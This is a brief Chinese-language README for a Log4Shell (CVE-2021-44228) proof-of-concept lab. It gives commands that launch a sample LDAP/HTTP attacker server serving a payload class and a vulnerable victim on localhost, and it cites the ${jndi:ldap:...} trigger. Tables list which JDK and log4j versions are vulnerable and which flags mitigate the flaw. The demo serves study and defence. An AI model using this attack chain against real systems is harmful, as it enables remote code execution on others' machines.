
CVE-2021-44228 的简短演示
CVE-2021-44228 的简短演示
$ mvn clean verify
$ java \
-cp 'attacker/target/sample-attacker.jar:attacker/target/lib/*' \
sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar
URLs:
http://localhost:8080/http://localhost:8080/sample/payload/Payload.class$ java \
-cp 'victim/target/sample-victim.jar:victim/target/lib/*' \
sample.victim.Victim
如果不存在漏洞,则从 javax.naming.Context.lookup() 返回一个 javax.naming.Reference 实例。
如果不存在从远程代码库加载类的漏洞,其他 Java 反序列化漏洞可能仍然存在!
如果不存在漏洞,${jndi:ldap:...} 不会被解析。
| 版本 | 状态 |
|---|
Oracle JDK 8u5 | 存在漏洞 |
OpenJDK 8u312 | 不存在漏洞(除非设置 -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
IBM OpenJDK 8u312-b07 (OpenJ9) | 不存在漏洞(除非设置 -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 11.0.7+10 | 不存在漏洞(除非设置 -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 11.0.13+8 | 不存在漏洞(除非设置 -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 16+36 | 不存在漏洞(除非设置 -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 17+35 | 不存在漏洞(除非设置 -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 17.0.1+12 | 不存在漏洞(除非设置 -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
| 版本 | 状态 |
|---|
2.9.1 | 存在漏洞 |
2.10.0 | 存在漏洞(除非设置 -Dlog4j2.formatMsgNoLookups=true 或环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS=true) |
2.14.1 | 存在漏洞(除非设置 -Dlog4j2.formatMsgNoLookups=true 或环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS=true) |
2.15.0 | 不存在漏洞 |